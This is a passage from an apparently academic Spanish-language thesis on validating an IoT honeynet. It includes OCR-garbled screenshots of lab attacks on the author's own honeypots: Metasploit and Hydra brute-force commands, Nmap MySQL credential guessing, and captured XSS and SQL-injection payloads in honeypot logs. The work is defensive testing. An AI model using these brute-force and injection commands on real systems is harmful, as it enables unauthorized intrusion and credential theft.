Nmap done: 1 IP address (1 host up) scanned in @.49 seconds

No hubo respuesta favorable a esta peticién, se indica que todos los tépicos filtrados
fueron rechazados. Se procede a realizar un ataque de fuerza bruta con la herramienta

Metasploit, a través de un diccionario configurado se intentara obtener acceso al bréker MQTT.



Se utiliza el siguiente médulo:

use auxiliary/scanner/mgtt/connect

Se configura el diccionario de contrasefias, usuarios y el objetivo del ataque:

set PASS_FILE /tmp/passwords.txt

set USER_FILE /tmp/users.txt

set rhosts 192.168.100.79

Figura 87

Ataque de fuerza bruta sobre la IP 192.168.100.79

msf6 > use auxiliary/scanner/mqtt/connect

msf6 auxiliary( ) > set PASS_FILE /tmp/passwords.txt
PASS_FILE = /tmp/passwords.txt
msf6 auxiliary(

USER_FILE = /tmp/users.txt

) > set USER_FILE /tmp/users.txt

msf6 auxiliary(
rhosts = 192.168.100.79
15f6 auxiliary(

) > set rhosts 192.168.100.79
) > show options
Module options (auxiliary/scanner/mqtt/connect):

Name

Current Setting Required

Description

BLANK_PASSWORDS  false
BRUTEFORCE_SPEED 5
DB_ALL_CREDS false
DB_ALL_PASS false

no Try
How
Try

blank passwords for all users

fast to bruteforce, from @ to 5

each user/password couple stored in the current
Add all passwords in the current database to the 1li
DB_ALL_USERS false Add all users in the current database to the list
DB_SKIP_EXISTING none Skip existing credentials stored in the current dat
PASSWORD A specific password to authenticate with

PASS_FILE /tmp/passwords.txt File containing passwords, one per line

RHOSTS 192.168.100.79
RPORT 1883
STOP_ON_SUCCESS  false

THREADS 1

The target port (TCP)
Stop guessing when a credential works for a host
The number of concurrent threads (max one per host)

The target host(s), see https://github.com/rapid7/mg

USERNAME
USERPASS_FILE
USER_AS_PASS

true

A specific username to authenticate as
File containing users and passwords separated by sp
Try the username as the password for all users

USER_FILE
VERBOSE

/tmp/users.txt
true

File containing usernames, one per line
Whether to print output for all attempts

msf6 auxiliary( ) > exploit

192.168.100.79 - Msf::OptionValidateError The following options failed to validate: USER_FILE, PASS_FILE

Si bien el puerto 1883 esta abierto, no existe un bréker MQTT trabajando, tras estas
pruebas se evidencia que no hay tépicos publicados por este puerto, en la fase de

reconocimiento y en la fase de explotacién no se logra establecer conexion.
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Puerto 3306

MySQL es un sistema de gestion de base de datos relacional, el mismo que corre sobre
el puerto 3306 por defecto, en el servidor A este puerto se encuentra abierto por lo que se pudo
observar en la primera fase de recopilacion activa de informacion, ahora nuevamente con la
ayuda de la herramienta Nmap se escaneara solo el puerto 3306 para descubrir mas

informacion solo de este puerto y verificar si el mismo es explotable.

Figura 88

Resultados de escaneo del puerto 3306 en la IP 192.168.100.79

/home/kali/Desktop
3306 192.168.100.79
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-05 13:10 EDT
Nmap scan report for 192.168.100.79
Host is up (0.00056s latency).

PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.7.16
| mysql-info:
Protocol: 10
Version: 5.7.16
Thread ID: 1729232896
Capabilities flags: 41516
Some Capabilities: Support4lAuth, SupportsTransactions, LongColumnFlag, Speaks41ProtocolNew, SupportsCompression, ConnectWithDatabase
tocommit

(Raspberry Pi Trading)
can results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.56 ms 192.168.100.79

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.72 seconds

El servidor MySQL maneja la version 5.7.16, al ser una version antigua la misma es
vulnerable a ataques de ejecucion de codigo remoto. Como se observa en la Figura 89
mediante un ataque de fuerza bruta podemos obtener las credenciales para acceder a esta
consola y poder ejecutar comandos con privilegios elevados desde la terminal del atacante. En
primera fase con el médulo --script=mysq|-brute de la herramienta Nmap se encontrara los

nombres de usuario con credenciales validas.
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Tabla 18

Credenciales validas detectadas en el servicio MySQL

Usuario Contrasefa
administrator administrator
netadmin <vacio> (No necesita contrasefia solo el nombre de usuario)
user <vacio> (No necesita contrasefia solo el nombre de usuario)
guest <vacio> (No necesita contrasefia solo el nombre de usuario)
test test
sysadmin sysadmin
root root
admin admin
webadmin webadmin
web web

Figura 89

Ataque de fuerza buta al servicio MySQL

/home/kali/Desktop
192.168.100.79
ing Nmap 7.93 ( https://nmap.org ) at 2022-11-05 13:37 EDT
an report for 192.168.100.79
up (0.0017s latency).
987 closed tcp ports (reset)
STATE SERVICE
open ftp
open telnet
open nameserver
open domain
open http
open msrpc
open https
p open microsoft-ds
ms-sql-s
pPptp
mysql

|

|

| administrator:administrator - Valid credentials
| netadmin:<empty> - Valid credentials

| Valid credentials

| gues - Valid credentials

| :test - Valid credentials

| sysadmin:sysadmin - Valid credentials

| root:root - Valid credentials

| admin:admin - Valid credentials

| webadmir dmin - Valid credentials

| id credentials

|_ Statis rformed 26 guesses in 2 seconds, average tps: 13.0
5060/tcp open ip

5061/tcp open sip-tls

MAC Address: (Raspberry Pi Trading)

Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
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Con esta informacion se procede a explotar el puerto con las credenciales antes

indicadas, se realizara la prueba con el usuario root.

Figura 90

Ingreso a la base de datos mediante terminal

/home/kali/Desktop
= -u root -p -h 192.168.100.79
Enter password:

Welcome to the MariaDB monitor. Commands end with ; or \g.
zsh: segmentation fault mysql -u root -p -h 192.168.100.79

Cuando se introducen las credenciales de root el servidor de base de datos si permite el
acceso, pero el proceso se detiene y se bloquea debido a una falla de segmentacién, se valida

gue el mismo inconveniente sucede con todas las credenciales listadas anteriormente.

Puerto 3389

Este puerto es generalmente utilizado para iniciar una conexién de escritorio de forma
remota (RDP, por sus siglas en inglés), este protocolo ha sido blanco de varios tipos de
ataques. A pesar que la comunicacion es a través de un canal cifrado, la falta de una
configuracién correcta, los ataques de fuerza bruta y las vulnerabilidades de seguridad
permiten que sea un objetivo atractivo para un atacante. Con la ayuda de la herramienta Hydra
se realizara un ataque de fuerza bruta sobre el servidor C, para lo cual se debe emplear los

diccionarios de usuarios y contrasefias de Metasploit.

A continuacion, se utilizara los siguientes los siguientes parametros para realizar un
ataque dirigido y eficiente al objetivo. Partiendo que queremos explotar este servicio con

privilegios elevados se busca una clave util para el usuario admin.

hydra -s 3389 - admin -P unix_passwords.txt 192.168.100.108 rdp



147

Tabla 19

Parametros utilizados por hydra

Parametro Descripcién
-S Especifica el puerto
-l Para configurar un nombre de usuario conocido
-P Para especificar un diccionario de contrasefas a evaluar
rdp El servicio a crackear, este servicio trabaja sobre el puerto 3389

Figura 91

Resultados obtenidos de un ataque de diccionario

/usr/share/metasploit-framework/data/wordlists
r 89 -1 admin -P unix_passwords.txt 192.168.100.108 rdp
Hydra v9.3 2 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding,
these **x e laws and ethic

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-05 15:

[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to e the number of parallel connections and -W 1 or -W 3 to wait between connection to
allow the server to recover

[INFO] Reduced number of tasks to & (rdp does not like many parallel con

[WARNING] the rdp module is experimen Please test, repor nd i

[WARNING] Restorefile (you have 1 ds to abort... (u ption - )) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max &4 tasks per 1 server, overall & tasks, 1009 login tries (1:1/p:1009), ries per task

[DATA] attacking rdp://192.168.100.108:3389/

[3389][rdp] host: 192.168.100.108 : admin  password: admin

[3389][rdp] host: 192.168.100.108 : admin password: 123456

[3389][rdp] host: 192.168.100.108 dmin  passwi

[3389][rdp] host: 192.168.100.108 lo dmin  password: 123456789

1 of 1 target sfully completed, 4 v passwords found

Hydra (https: hub.com/vanhauser-thc/thc-hydra) finished at 2022-11-05 15:

Se encontraron 4 contrasefas validas para el usuario admin, las cuales son:

Tabla 20

Credenciales validas del servicio RDP enla IP 192.168.100.108

Usuario Contrasefa

admin admin

admin 123456

admin 12345

admin 123456789
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Para validar estas credenciales se establecera una conexion remota entre el atacante y
la victima, para lo cual se utiliza la instruccion rdesktop seguido de las credenciales, laip y el

puerto del elemento de red objetivo.

Figura 92

Conexion RDP ala IP 192.168.100.108

/home/kali
t -u admin -p admin 192.168.100.108:3389
' from locale

Autoselecting keyboard map 'en-us
Connection established using plain RDP.
Core(error): rcp_recv(), connection closed by peer

Se establece la conexion con la maquina victima usando el protocolo RDP, a pesar que
en el ataque de diccionario se identificaron las credenciales del servicio la conexién se demora
en establecer y al final se cierra. Se valida con todas las credenciales encontradas, obteniendo

el mismo resultado.

Pruebas de funcionamiento de los Honeypots
Dionaea

El sensor Dionaea es el que mas registros de ataque posee. El servidor de la Honeynet
esta configurado de tal manera que detecte el mas minimo intento de intrusién asi sea una
simple instruccidn de verificacion de comunicacion como un ping. Esto permitira detectar
cualquier intento de intrusion y ofrecer al administrador de red un reporte de las novedades que
se susciten. El administrador de la red tendra que descartar posibles falsos positivos o de lo
contrario asumir el riesgo y levantar una regla en el administrador de registros. Lo mas éptimo
es identificar y descartar manualmente este tipo de peticiones. Si la red se encuentra
debidamente segmentada y todos los elementos de red identificados, se crearia una regla que
excluya aquel o aquellos dispositivos que por sus funciones realicen actividades de

reconocimiento sobre la red loT.
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A continuacion, se indica un extracto de las conexiones entrantes que se realizaron al

sensor el 5 de noviembre de 2022 a las 00:04 desde una IP interna 192.168.100.100. La

maquina intrusa intenta explotar el servicio ftp del honyepot, estos logs son exportados al

servidor de registro:

Figura 93

Reporte de ataques al puerto 21 del honeypot Dionaea

Search Filters

Sensor
loTDBserver
Date Sensor
1 2022-11-05 00:04:30 loTDBserver
2] 2022-11-05 00:02:13 loTDBserver

Honeypot

All

Attacks Report

Date Port

21

Country Src IP

192.168.100.100

192.168.100.100

IP Address

Dst port Protocol Honeypot
21 fipd dionaea
21 fipd dionaea

En el servidor de registro también se detectaron peticiones e intentos de explotacion

sobre el puerto 445 desde la ip 192.168.100.100:

Figura 94

Reporte de ataques al puerto 445 del honeypot Dionaea

Search Filters

Sensor

loTDBserver

Date
1 2022-11-0500:21:21
2] 2022-11-05 00:18:08
3 2022-11-05 00:18:03
4 2022-11-05 00:12:46
5 2022-11-05 00:12:45
6 2022-11-05 00:12:44
7 2022-11-05 00:12:43
8 2022-11-05 00:12:43
9 2022-11-05 00:12:42
10 2022-11-05 00:12:41

Sensor

loTDBserver

loTDBserver

loTDBserver

loTDBserver

loTDBserver

loTDBserver

loTDBserver

loTDBserver

loTDBserver

loTDBserver

Honeypot

All

Attacks Report

Date Port

IP Address

o)
- [<] 1§
g
El
2

SrclP

192.168.100.100

192.168.100.100

192.168.100.100

192.168.100.100

192.168.100.100

192.168.100.100

192.168.100.100

192.168.100.100

192.168.100.100

192.168.100.100

Dst port

445

445

445

445

445

445

445

445

445

445

Protocol

smbd

smbd

smbd

smbd

smbd

smbd

smbd

smbd

smbd

smbd

Honeypot
dionaea
dionaea
dionaea
dionaea
dionaea
dionaea
dionaea
dionaea
dionaea

dionaea
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Todos los intentos de explotacion también son almacenados localmente por el
Honeypot, los eventos registrados por el sensor son almacenados en una carpeta diferente

dependiendo el dia en que son detectados. Estos datos se encuentran en la siguiente ruta:

Figura 95

Ruta donde se almacenan los registros de ataques de Dionaea

IoTDBserver:

A continuacién, se presenta un extracto de los eventos registrados el 4 de noviembre de

2022, entre los servicios atacados se encuentran los protocolos ftp, mqtt, smb.

Figura 96

Logs generados por dia en el honeypot Dionaea

Al ser un servidor web tiene Unicamente levantado el puerto 80, el servidor de logs

registro 4789 ataques provenientes de la IP 192.168.100.100 como se indica a continuacion:
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Figura 97

Resumen de ataques generados en el honeypot Drupot

Name Hostname P Honeypot uuID Attacks

- l| loTWsenver-agave loTWserver 192.168.100.107 agave 81229a8c-5c60-11ed-9153-000c29h59cc7 4789

Del archivo drupot.out se obtienen todos los logs que registré el servidor web durante
su funcionamiento, como se puede dar cuenta el 5 de noviembre de 2022 se realizaron
multiples conexiones entrantes de la IP antes indicada. Estas peticiones se realizan en
intervalos de tiempos cortos. Debido a la gran cantidad de solicitudes detectadas se presenta
un compendio de solicitudes, estas solicitudes quedan como evidencia de un ataque de

Denegacion de servicio DoS desde la IP atacante 192.168.100.100.

Figura 98

Logs generados de los ataques en el honeypot Drupot

ws@ubuntu: fopt/drupot
File Edit View Search Terminal Help
a/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"]1},"Body":"","TransferEncoding":null,"Host":"192.168.100.10
I PostEocm’:- {33 "agave client _version":"v@.1 2"
@22/11/@5 16: 17 49 "protocol":"HTTP/1.1","apg": "agave","agave app":"Drupot"]"channel":"agave.events","s
d -8b7c-000c293bcbb4" , Jdest_port":80,"dest_ip":"45.23$.107.96", " "src_port":50072,"
"signature":"", "prev seen’: | ; ethod""'GET" "URL": {"Scheme"
5 =rall, "Host":"","Path":"/zoeken","RawPath":"", "ForceQuery” false, ”Ranuery”'"" "Fra
-ment"'""} "Proto"'"HTTP/l 1","ProtoMajor”:1,"ProtoMinor”:1, "Header": {"Accept":["*/*"], "User-Agent":[ "Moz
illa/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"]1},"Body":"","TransferEncoding":null, "Host":"192.168.100.
1A7" "PostEarm"-L13 "agave client_version":"vO "
022/11/05 16: 17 49 {"protocol”'”HTTP/l 1","ap@":"agave","agave_app":"Drupot'], "channel”: "agave.events","s
d-8b7c-000c293bcbb4", §dest port":80,"dest i1p":"45.23.107.96","src_port":50072,"
2.168.100.1600" ,['signature”:"","prev_seen  :Talse, request json" :{ Method":"GET","URL":{"Scheme"
,"Host":"", ”Path”'”/zone" "RawPath":"","ForceQuery":false, "RawQuery":"","Fragm

-nt"'""} "Proto"'"HTTP/l 1", "ProtoMa]or”'l 'ProtoMinor":1, "Header"'{"Accept" ["*/*"],"User-Agent":["Mozil

af4.0 (compatible; MSIE 6.0; Windows NT 5.1)"]1},"Body":"","TransferEncoding” :null,"Host":"192.168.100.10
totRockle 135 agave_ client _version":"v@.1.2-
2@22/11/05 16:17:49 {"protocol”'”HTTP/l 1","apd': "agave","agave_app":"Drupot"} "channel": "agave.events","s
oot tobrToodn ot -d 8b7c-000c293bcbb4", 'Hest_port":80,"dest_ip":"45.23p.107.96","src_port":50072,"
,"signature":"", ”prev seen’ :false, request_J 3 'ethod”'”GET” "URL": {"Scheme"
: =md L1, "Host":"","Path":"/zones","RawPath":"", "ForceQuery” false, ”Ranuery”'”" "Frag
ent"'""} "Proto"'"HTTP/l 1","ProtoMajor”:1,"ProtoMinor":1,"Header": {"Accept":["*/*"],"User-Agent":["Moz1i
1la/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"]}, "Body"'"" "TransferEncoding":null,"Host":"192.168.100.1
"=E395"agave client version":"vO. !
17 49 {"protocol”'”HTTP/l 1","apd": "agave","agave_app":"Drupot"} "channel": "agave.events","s
— dest_port":80,"dest_1ip":"45.23p.107.96","src port”'S@@?Z "
"s*Lgnature"""' "prev seen . quest J 3 ethod""'GET" "URL": {"Scheme"
4 ToLl, "Host":"", ”Path”'”/zoom","RawPath"'"" "ForceQuery":false, "RawQuery":"","Fragm
-nt"'""} "Proto"'"HTTP/l 1", "ProtoMa]or”'l 'ProtoMinor":1,"Header":{"Accept":["*/*"], "User-Agent":["Mozil
af4.0 (compatible; MSIE 6.0; Windows NT 5.1)"]1},"Body":"","TransferEncoding” :null,"Host":"192.168.100.10
","PostForm":{}}, "agave_ client _version":"v0.1.2"}
@22/11/05 16:17:49 {"protocol":"HTTP/1.1","app": "agave","agave_app":"Drupot","channel": "agave.events","s
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Ademas, ese mismo dia a las 20 horas con 4 minutos se registra un intento de
explotacion de la vulnerabilidad XSS (Cross-site scripting) que permite a los adversarios
inyectar codigo en la pagina web. Se observa que se realiza un script a través de los campos
de inicio de sesion, el fin es generar un popup dentro del navegador con la palabra XSS. En el

registro todos los campos se ingresan en el sistema de codificacion Unicode.
<script>alert("XSS")</script>

Figura 99

Deteccidon de un ataque Cross-Site scripting

t":["Mozilla/5.8 (X11; Linux x86_64; rv:102.0) Gecko/28100101 Firefox/182.0"]},"Body":"","TransferEncodin
a":null."Host":"192.168.100.107" . "PostForm":{}}."agave client version":"v0.1.2"}

2022/11/05 20:04:11 {"protocol":"HTTP/1.1","app":"agave","agave_app":"Drupot"”,"channel": "agave.events","s
ansor": "00c5fac7-5d7d-11ed-a4df -@00c293bcbb4” , "dest_port":80,"dest_ip":"45.236.107.96","src_port":41478,"

src_ip":"192.168.100.100", "agave_username":"\uB03cscript\u003ealert('XSS')\u003c/script\ul03e", "agave pas
sword": "\u@e3cscript\uee3ealert('XSS')\uGO3c/script\ude3e”,"agave client_version":"v0.1.2"}
ZUZL[1LJUS £UTU4I10 { ProLocoLl @ HIIF/L.1 , 4dpp . dgave , dgdve_dpp . Urupol , Cndnnel : dgdve.events , s

El 26 de noviembre de 2022 se detecta una peticién maliciosa en el servidor web del
Honeypot Drupot, la IP 192.168.100.100 realiza una inyeccién SQL. El atacante intenta omitir la
autenticacion que la pagina web tiene mediante una instruccion disefiada para modificar la

consulta SQL en el parametro Login. La instruccion es la siguiente:
'ol=1-

Esta instruccion al final contiene una secuencia de comentarios (--) que provoca que se

ignore el resto de la consulta haciendo una equivalencia con la consulta:
SELECT * FROM users WHERE username ="' OR 1=1

Figura 100

Deteccidn de un ataque de inyeccién SQL

2022/11/26 17:12:08 {"protocol":"HTTP/1.1","app":"agave","agave_app":"Drupot"”,"channel":"agave.events","s
ansor":"19387fa4-6de5-11ed-b27b-000c293bcbb4" , "dest_port":80,"dest_1ip":"177.53.215.226","src_port":33542,

'src_ip":"192.168.100.100","agave_username":"' o 1=1 --","agave_password":"hack","agave_client_version":"
/0.1.2"}
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Amun

El sefiuelo Amun también registré ataques a diferentes servicios, el 4 de noviembre de
2022 a partir de las 23 horas y 51 minutos empieza a sufrir diversos ataques en distintos
puertos vulnerables. Los servicios que mas llaman la atencion son los puertos 21y 23 que
corresponden a protocolo ftp y telnet respectivamente. Se observa que todos los ataques
provienen de la IP 192.168.100.100 la cudl teniendo en cuenta la topologia de la red

implementada, el adversario se encuentra dentro del ecosistema.

Figura 101

Reporte de ataques del honeypot Amun

Attacks Report
Search Filters
Sensor Honeypot Date Port IP Address
loTPserver All
Date Sensor Country Src IP Dst port Protocol Honeypot

1 2022-11-04 23:51:59 loTPserver =] 192.168.100.100 617 None amun
2 2022-11-04 23:51:59 loTPserver =] 192.168.100.100 135 dcom-scm amun
3 2022-11-04 23:51:58 loTPserver =1 192.168.100.100 143 imap2 amun
4 2022-11-04 23:51:58 loTPserver ] 192.168.100.100 1111 None amun
5 2022-11-04 23:51:57 loTPserver =1 192.168.100.100 1080 socks amun
6 2022-11-04 23:51:57 loTPserver =] 192.168.100.100 23 telnet amun
7 2022-11-04 23:51:56 loTPserver | 192.168.100.100 21 ftp amun
8 2022-11-04 23:51:56 loTPserver [ 192.168.100.100 443 hitps” amun
9 2022-11-04 23:51:55 loTPserver | 192.168.100.100 139 netbios-ssn amun
10 2022-11-04 23:51:55 loTPserver =] 192.168.100.100 42 nameserver amun

Nota. En la figura se aprecia el reporte de ataques generados el 4 de noviembre de 2022 sobre
el honeypot Amun, se evidencia algunos de los protocolos atacados y la direccién de la IPv4

atacante.

Se presenta un extracto de los ultimos ataques captados por el Honypot Amun en
donde el principal protocolo a atacar es el 3389. Se evidencia que este puerto es muy atractivo
para el atacante ya que si se logra consumar el ataque puede iniciar una conexiéon remota a la

maguina y apropiarse del sistema.



Figura 102

Reporte de ataques al puerto 3389 del honeypot Amun

Search Filters

Sensor

loTPserver

Honeypot

All

Attacks Report

Date

Port

IP Address

Date Sensor Country src P Dst port Protocol Honeypot
1 2022-11-05 20:10:43 loTPserver =1 192.168.100.100 80 http amun
2 2022-11-05 20:10:43 loTPserver =1 192.168.100.100 80 http amun
3 2022-11-05 20:08:59 loTPserver 1 192.168.100.100 3389 None amun
a 2022-11-05 20:05:05 loTPserver 1 192.168.100.100 3389 None amun
5 2022-11-05 20:01:17 loTPserver (] 192.168.100.100 3389 None amun
6 2022-11-05 19:51:26 loTPserver =] 192.168.100.100 3389 None amun
7 2022-11-05 19:50:41 loTPserver 192.168.100.100 3389 None amun
8 2022-11-05 19:49:49 loTPserver = 192.168.100.100 3389 None amun
9 2022-11-05 19:36:12 loTPserver [ 192.168.100.100 3389 None amun
10 2022-11-05 19:34:30 loTPserver [+] 192.168.100.100 3389 None amun

En la ruta /opt/amun/logs se guardan todos los registros recopilados por el honeypot,

estos registros indican informacion mas detallada de los distintos ataques realizados a este

sefiuelo. En los archivos amun_request_handler.log se guardan todas las solicitudes
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receptadas, se presenta un extracto de logs generados el 4 de noviembre de 2022, podemos

apreciar que la IP atacante 192.168.100.100 esta realizando un ataque con la herramienta

Nmap al puerto 8080, se aprecia la cabecera y cuerpo correspondiente al payload ejecutado

con esta herramienta.

Figura 103

Logs generados después de un ataque en el honeypot Amun

: L'POST /sdk HIIP/1.1\r\nConnection: close\r\nHost: 19/.168.100.108: 808U\ \r\nContent-1Lenath: 441\r\nuser -Age
nt: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)\r\n\r\n<soap:Envelope xm
Ins:xsd="http://www.w3.0rg/2001; AMLSCNENT

AVAYAYAY:]

2022-11-04 16:55:11,480 INFO [amun_request handler

STAGE1'])

ANPS *

XM INS:XST= NULP://WWW.W3.0rg/ 20017 AFLSChena- tnstance
"http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><operationID>00000001-00000001</operationID></scap:
Header><soap:Body><RetrieveServiceContent xmlns="urn:internalvim25"><_this xsi:type="ManagedObjectReference"
type="Servicelnstance">Servicelnstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>'] (624)
Stages: ['TIVOLI

] unknown vuln (Attacker: 192.168.100.100 Port: 8080, Mess

xmlns:soap=

Nota. En la imagen se evidencia la herramienta utilizada para realizar el atague ademas de la

fecha y hora que se ejecut6 el mismo.
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Se observa un extracto en el cual se visualiza diferentes ataques de escaneo de puertos
desde una misma IP al puerto 5000 del sefiuelo, se registra la fecha y hora exacta del ataque,

el sefiuelo esta en la capacidad de diferenciar el tipo de ataque realizado a su infraestructura.

Figura 104

Logs generados por el honeypot Amun

PortScan Detected : 5000 (192.
PortScan Detected : 5000 (192.
PortScan Detected : 5000 (192.
PortScan Detected : 5000 (192.

2022-11-04 16:53: INFO [amun_request_handler
2022-11-04 16:53: INFO [amun_request_handler
2022-11-04 16:53: INFO [amun_request handler
2022-11-04 16:53: INFO [amun_request handler

2022-11-04 16:54: INFO [amun_request handler
2022-11-04 16:54: INFO [amun_request_handler
2022-11-04 16:54: INFO [amun_request_handler
2022-11-04 16:54: INFO [amun request handler

PortScan Detected : 5000 (192.
PortScan Detected : 5000 (192.
PortScan Detected : 5000 (192.
PortScan Detected : 5000 (192.

]
]
]
]
2022-11-04 16:54: INFO [amun_request_handler] PortScan Detected : 5000 (192.
]
]
]
]

Conclusiones

El disefio de la solucion de seguridad informatica propuesta en el presente trabajo
busca ser aplicable para la mayor cantidad de entornos basados en tecnologias de la
informacion y comunicacioén. Si bien la arquitectura implementada se basa en un entorno del
Internet de las Cosas, los honeypots pueden ser reemplazados en la fase de disefio para cubrir
otras aristas y vectores de ataques dependiendo el ecosistema que se pretenda proteger. Asi,
se obtiene una arquitectura util y configurable, lo que representa una ventaja hoy en dia con el
crecimiento tan acelerado de nuevas técnicas de intrusion y los procesos automatizados de

ejecucion de ataques.

La principal fortaleza de la honeynet disefiada es su escalabilidad, permite incrementar
el nimero de sensores (honeypots) de acuerdo a los requerimientos de seguridad, capacidad
de infraestructura, espacio fisico y presupuesto econdémico de la organizacion. De hecho, este
ltimo punto se puede aprovechar ain mas ya que el software de los honeypots es libre y como
ventaja adicional hoy en dia aun siguen dando soporte y actualizaciones a librerias con las que

funcionan estos sefiuelos. Con el surgimiento de la industria 4.0, el Internet de las Cosas y la
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migracion de los sistemas core a la nube por parte de las empresas alrededor del mundo es util
esta arquitectura de seguridad para incrementar la estructura de seguridad de la informacion a

la que se rigen las organizaciones.

La honeynet hibrida propuesta permite repartir los sefiuelos en diferentes servidores
creando redundancia en la arquitectura fisica de la solucion. Se disefi6 asi con la finalidad de
mantener totalmente operativa la red de sefiuelos. Al segregar los sefiuelos en diferentes
servidores, se puede garantizar la operabilidad de la solucion pese a alguna razén de mala
configuracién o ataque contra la integridad fisica de uno de estos sistemas. La honeynet hibrida
seguira recolectando y monitoreando los eventos de los honeypots que sigan funcionando

correctamente.

El enfoque que se pretende cubrir con la implementacion realizada es la deteccién de
ataques automatizados y dirigidos a redes loT que por su haturaleza se vuelven atractivas para
atacantes, bots y amenazas desconocidas en la actualidad. Al utilizar honeypots de baja
interaccion se obtiene un sistema que atrae principalmente a bots configurados para detectar
vulnerabilidades sobre entornos informaticos. Cabe indicar que el disefio no pretende generar
una alta interaccién con el atacante, si la finalidad fuese esta se seleccionara otro tipo de
honeypots como los de interaccion alta o inclusive de interaccién media. Por este motivo esta
solucion de seguridad no sera capaz de detectar ataques de dia cero. Sin embargo, el disefio
se puede acoplar para diferentes fines desde la proteccion de sistemas reales hasta entornos
de investigacion donde se pretenda recolectar técnicas mas avanzadas utilizadas por

ciberdelincuentes.

El sistema fue sometido a pruebas de validacién mediante una metodologia de auditoria
de seguridad informética. El fin de esta implementacion fue garantizar la recoleccién de eventos
perjudiciales que se generen a nivel de red. Consecuentemente las técnicas para validar el

funcionamiento de estos sefiuelos son elementales. Como se menciond anteriormente la
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arquitectura desplegada la componen principalmente sefiuelos de baja interaccién como
Dionaea, Amun aungue también se utiliza un honeypot que permite mas interaccion como
Drupot. Estos sefiuelos son eficaces para detectar amenazas como bots que suelen ser
programas informaticos que se encargan de la deteccion de vulnerabilidades de manera
automatica. Sin embargo, para ataques mas sofisticados o ataques dirigidos esta eleccion de

honeypots no es la méas apropiada.

La configuracion de la honeynet y la interconexion de los honeypots permitieron
monitorear todos los eventos andmalos dentro de la red. Esta herramienta faculta al arquitecto
de red la supervision de dichos eventos y tomar mediadas proactivas mediante la caza de
amenazas. La concentracion de todos los registros en una base de datos facilité el analisis de
los logs generados. La interfaz web del servidor centralizado permitié obtener estadisticas en
tiempo real de los eventos registrados y al estar todo catalogado se pudo identificar las

direcciones IP de las principales amenazas.

Se pudo apreciar que la solucién implementada detecta ataques de escaneo de puertos,
ataques sobre servicios especificos, inyecciones de codigo, ataques de denegacion de servicio,
entre otros. Adicionalmente, mediante el analisis de estos eventos se pudo determinar las
técnicas utilizadas por la amenaza, como los scripts especificos utilizados para vulnerar cada
honeypot, las peticiones empleadas y los hashes coincidentes de los exploits detectados. Esta
herramienta cuenta con una biblioteca amplia de firmas que permiten reconocer y catalogar los
ataques registrados. La solucién implementada cubre las principales disposiciones y
recomendaciones expuestas en normativas internacionales para la seguridad informética en el

Internet de las Cosas.

La solucién de seguridad es de facil implementacion y mantenimiento por lo que no
requiere personal altamente calificado para la instalacion de los sefiuelos y monitoreo de los

eventos. Sin embargo, si se cuenta con un equipo de seguridad apropiado se puede
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interconectar este sistema con otras herramientas de correlacion de eventos como un SIEM
(Security Information and Event Management). Por consecuencia si la organizacién cuenta con
un programa de seguridad se puede reforzar el esquema existente con el disefio propuesto. El
servidor de registro MHN cuenta con un gran nimero de reglas implementadas, pero posibilita
crear nuevas reglas a partir de los hallazgos de los eventos recolectados y las nuevas

amenazas descubiertas.

El hardware disponible para la implementacion de la herramienta resulté ser apropiado y
no limit6 los requerimientos de operabilidad establecidos en su disefio. La Raspberry Pies un
excelente ordenador de placa reducida para la puesta en marcha de honeypots de baja
interaccion. Ademas de ser altamente portable y configurable reduce significativamente los
costos de ejecucion de la soluciéon de seguridad. La limitate de utilizar sefiuelos de baja
interaccion es que en ataques realizados por un ciberdelincuente este puede reconocer que se

trata de un sistema trampa.

Recomendaciones

Antes de la implementacion de la herramienta se debe realizar una evaluacion de las
necesidades de seguridad de la red donde se pretenda instalar la solucion. Existen diversos
tipos de honeypots que pueden ser adaptados y cada uno esta disefiado para emular servicios

especificos que probablemente sean de mayor utilidad en ciertas redes.

El mantenimiento y la configuracion del sistema de seguridad es sencillo sin embargo es
aconsejable evaluar peridodicamente el rendimiento de los dispositivos fisicos que contienen la
solucion. Una politica de mantenimiento de infraestructura y equipos tecnol6gicos puede

ayudar a conservar totalmente operativa la herramienta.

La gran cantidad de datos generados a causa de la recoleccion de logs provoca un uso

alto de capacidad de memoria. En consecuencia, es recomendable contar con una politica de
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respaldos para determinar la utilidad de los datos y almacenar la informacion generada de

manera eficiente.

Para la implementacién de la herramienta se hace necesario revisar los manuales de
configuracién de cada honeypot asi como del servidor de registro centralizado. Esto dara un
panorama claro de las utilidades y limitaciones de cada sefiuelo y permitira definir el alcance

del proyecto.

Trabajos futuros

Implementacion de otras herramientas de seguridad que complementen la funcionalidad
de la solucidn de seguridad. Se puede abordar seguridad en redes inaldmbricas con el uso de
honeypots WiFI o también conocidos como hotspot para distraer y monitorear accesos no

autorizados en redes WiFi.

Despliegue de la solucién de seguridad en otros sistemas de Ultima generacién. Se
puede adaptar el disefio para entornos basados en la nube, Smart Cities, sistemas roboéticos
industriales y entornos dométicos basados en |0T. Esto permitira obtener un espectro mas

amplio del panorama de amenazas que afecta a cada uno de estos ecosistemas.

Creacion de una herramienta mediante aprendizaje automéatico que permita captar e
interpretar los datos recolectados por la Honeynet para ejecutar acciones de protecciéon de

manera autébnoma sobre la red.

Utilizacion de honeypots de alta interaccion disefiados especificamente para emular un
sistema real de una organizacion, evitando la exposicion de documentacién sensible. Sirviendo
